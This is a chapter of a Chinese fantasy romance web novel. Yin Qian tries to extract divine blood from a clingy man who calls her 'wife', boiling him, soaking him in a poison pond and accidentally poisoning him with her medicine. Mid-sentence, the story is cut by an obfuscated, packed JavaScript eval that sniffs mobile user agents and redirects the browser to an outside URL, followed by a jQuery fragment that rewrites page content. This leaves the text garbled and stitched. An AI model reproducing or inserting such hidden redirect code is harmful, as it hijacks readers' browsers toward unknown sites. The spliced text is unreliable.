半个时辰后,她推开门看到的,是雾气氤氲,模糊不清。
殷浅挥手驱了驱那些蒸腾的热气,渐渐清晰的是桶内“熟肉”的身影——
他整个人像是煮熟的鸭子,浑身的皮肤白里透红,细密的汗珠自他发间滴落,纵然置于水中,可那水里映出的并非满身横肉,而是线条分明的块块肌肉。
只是那肉上……有东西正在脱落!
连着疤的皮肉被煮熟了!
殷浅赶忙拿着琉璃瓶去接,可那皮肉掉下来后依然没有半分血丝溢出,她刚想开骂,却看到他左脸上的疤黏连着皮肉摇摇欲坠。
既然自然脱落的不掉血,人为脱落的会不会掉血?
殷浅一只手小心翼翼地撕扯着男子左脸上的疤,另一只手把琉璃瓶抵在他的脸颊处随时准备接应流下来的血,热气不断攀升,烘得她的脸和手逐渐变得滚烫。
快完全扯下来时,她果然看到了那伤口里有一道流动的血痕正缓慢露出,她用力地将琉璃瓶往前怼了点,就快要吸到那点微末的血了!
忽然,她感觉手背上投射了一点阴影。
一个眼睛大小幅度的阴影。
“娘子,”殷浅的目光还没从琉璃瓶上离开,便听见一阵恍若初醒的沙哑声:“娘子,我疼。”殷浅将目光上移,只见男子不知何时睁开了眼睛,正皱着眉委屈巴巴地看着她,嘴里又重复了一遍:“娘子,我疼。”
娘……娘子!
殷浅顿时僵住,殷家虽然满门几近覆灭只余她一人,可好歹也是鬼界五司之一,按照人间的说法也算是世家大族,谁敢攀诬她的名声!这厮不仅吞了自己要的恶神血,还调戏自己!实属该杀!
但……也要拿了恶神血再杀他。
她重新将目光落到琉璃瓶上,却发现刚刚好不容易吸出来的那点血竟顺着他说话时脸部肌肉的抽动又流了回去!瓶壁居然一丝血的痕迹都没有留下!
殷浅深吸一口气,试图将愤怒压下去,但她抬眼一望,男子的脸皱成一团,似是快要哭出来,又对她委屈道:“娘子,我真的好疼。”
你大爷的!殷浅暴怒站起,收回琉璃瓶时一拳打到了他的眼睛上,强大的劲道把木桶震得四分五裂,男子被甩到一旁,里面的水也溅飞出来将那堆火灭了个干净。
但殷浅心里的火灭不了一点。
她愤怒地吼道:“我不是你娘子!”
“娘子,你别生气,”男子一只手捂着眼睛,一只手试图撑在地上强迫自己站起来,他看起来十分痛苦却仍然扯出一抹温和的笑容,“我不疼了,你别生气。”
“我都说了我不是你娘子!”殷浅咬牙切齿地又过去补了一拳,男子被打得昏死过去,终于安静了。
闹腾过后,殷浅冷静下来。
桶打翻了,火也灭了,看来用热水煮肉出血的方式不太对,是不是跟温度有关,该换冷水?
她依稀记得,墨酒做饭时好像也用过冷水出生肉的血水。
“赤玄刀。”殷浅朝着门外喊了声。
赤玄刀“嘭嘭”地跳了进来。
殷浅下巴微抬,嫌弃地说道:“给他把裤子穿上,待会丢进池塘里。”
池塘在院中,不穿衣服有辱斯文,要是过往的人看到了,她的名声又保不住了!这厮可真是个大麻烦!
待赤玄刀把他拖到池塘边时,殷浅忽然想起什么阻止了它把他扔下去。
“把鱼赶到一边,辟出一方干净的,能容纳他放进去的位置,别把他毒死了。”她边指挥赤玄刀赶鱼,边拎着他肩上的两坨硬肉将他放进池塘一角。
塘中养的鱼,皆是毒鱼,连这一池子水也是毒液混成,他要是在里头死了,免不了脏了这毒池。
看着他的间隙,殷浅也不忘对着塘中倒影整理下自己的仪容。
许久没有这么炸毛过了。
几百年前蒙阿颜相救,她和墨酒才能在这人间养伤活命,相伴数载,墨酒布阵制器,她炼毒训武,为的就是有朝一日能寻灭门凶手杀之祭奠族人。没承想,比寻凶手来得更快的,是五司更替之期,其他三司竟妄想联手将殷家和墨家从五司中赶出去。
千年期到,若无恶神血祭献五司验灵堂,殷家洗尘司和墨家天工司的位置就不保了。
取神血还需养神血,养神血需五十年,好不容易埋伏到恶神踪迹,原本一切都在计划之内,没想到……半路杀出个程咬金。
“娘子,”殷浅还没回过神来,男子忽然醒过来扑腾了一下,手随意一甩溅起的水□□直撒了她满脸。
她平静地抹了把脸,克制怒气望向他,男子呛了几口水,扑腾得更是厉害,可他看向殷浅时,眼神里尽是委屈,“娘子,我冷……咳咳……娘子……”
娘子你大爷!
眼看着他真的要被水呛死,殷浅无奈地翻了个白眼,召引赤玄刀托起他的发丝把他半个身子捞出水面,她蹲下身按住他的肩膀,随意编了个借口:“我在给你治伤,别动。”
池子里的水浸泡过毒液,冰冷至极,男子的身体不由自主地抽搐着,他咬牙的哆嗦殷浅都能听得清清楚楚,“好……我不动,娘子说是什么就是什么。”
殷浅已经不想再骂大爷了,她捏着男子肩膀的手紧了紧,警告道:“我不是你娘子,我叫殷浅。”
男子又委屈地垂下了头,“我知道娘子生我的气,没关系的。明日我再当你夫君好了,今日都听娘子的。”
殷浅当机立断又给他敲晕了。
不知过了多久,连殷浅也觉得变冷了,再看向男子时,他的眼睛上都快蒙了一层霜,看来是冻得不行了。
池子里也没有溢出血水,过冷水的方法也不太有效。
她又把男子带回了房间,自己去翻阅墨酒从鬼界搬运回来的书籍,看了一整晚,她总算从那些残章片页里找到了一丝线索。
恶神血若入神躯,会有一定的融合期,融合期内,神躯受伤仅现伤口,不会流血,待融合完毕后,致伤现血。
什么时候融合完毕呢?书上没写。
但还有一条极为重要的,若神躯灭,恶神血亦灭。
言外之意,此人当下还不能死。
这可真是当头一棒,直接把劳累过度的殷浅给敲睡着了。
她再醒来时,已经是第二日了,阳光斑驳地从窗页缝隙里透进来,洒了她满身,可头顶处好像有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164905|196663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个粗长的阴影挡住了丝缕光线。
那阴影还在不停地跳动。
直至耳边“嘭嘭嘭”的声音越来越响,殷浅才猛地惊醒,罪魁祸首赤玄刀看上去着急得不行。
殷浅半闭着眼睛打了个哈欠,又换了个方向趴在桌案上,“这几日不开铺子,不用喊我早起。”
赤玄刀追着她的脸又在旁边“嘭嘭嘭”地敲。
殷浅终于意识到事情不对劲了。
她急忙跑到男子的房间,探他的鼻息,还活着,就是似乎染了风寒,有些高热症状。
得,泡病了。
可她不会医啊,她最擅长的是用毒。
书上曾说,医毒本一家,份量相异,毒也能覆手为医,要不试试?
怀着这个念头,殷浅将院中种植的毒花毒草都摘了个遍,翻了无数毒经典籍,准备以毒药相异的克量制药,来医治男子。
捣鼓两日,男子恰巧醒了,药也成了。
在清冷的月光洒下时,殷浅正好透过支起的窗屉,看见他虚弱地翻身下床,连穿鞋都提不起劲儿,稍稍扯到伤口就疼得龇牙咧嘴,可他一声不喊,仍然固执地穿鞋。
他左脸上的疤已经掉了,虽留下了还未消去的印子,但也不影响他的美貌展露,若说墨酒的容貌是夏日里的炎火,那么他的,便是春日里的煦风,给人一种清新至极的感觉。
美貌?清新?
他的娘子之音还萦绕耳畔,殷浅心中的怒气又浮现了。
她端着药走进房间,没好气地放下,淡淡道:“喝药了。”
男子小心翼翼地看她一眼,随后又垂下了头。
殷浅气得叉腰,每回都是这样,搞得好像她欺负他似的,像个受气的小媳妇一样!
“不喝?是怕我下毒吗?”
男子猛地抬头,慌乱解释道:“不是的,娘子……我……”他艰难地撑起身体,可因实在虚弱无力又重重地跌了回去,他的手握成拳又放开,一边捶着腿,边小声嘀咕着:“我这就喝……娘子你不要生气……”
他的姿态难看极了,像是行动不便的老者竭力往前蛄蛹着,殷浅无奈地叹了口气,上前一把按住他,他不着痕迹地往后退了些,看见殷浅瞪他,他更是手足无措:“我怕……我怕将病气过给你,娘子……娘子离我远些……”
殷浅不想再听他啰嗦,强硬地拉住他的手,霸气地把药碗递到他的嘴边,“喝药。”
男子顺从地喝了一大口,刚咽下去眉头迅速拧成一团。
殷浅紧张起来,“可有何不适?”
“没有……就是……”他小心翼翼地观察着殷浅的反应,发现她并未有不悦后才敢说:“就是太烫了。”
殷浅捏着药碗的指尖都泛白了,她拼命克制自己不当场把这药碗给砸烂。
她扯出一抹咬牙切齿的笑,“太烫了是吧,”接着把碗挪到一边恶狠狠地吹了几口气,再怼到男子嘴边,“这下可以喝了吧。”
男子乖巧又迅速地把剩下所有的药都喝光了。
还没等殷浅开口询问药效,他哐当一声倒在了床上。
不出所料的,他被毒晕了。
“你大爷的!”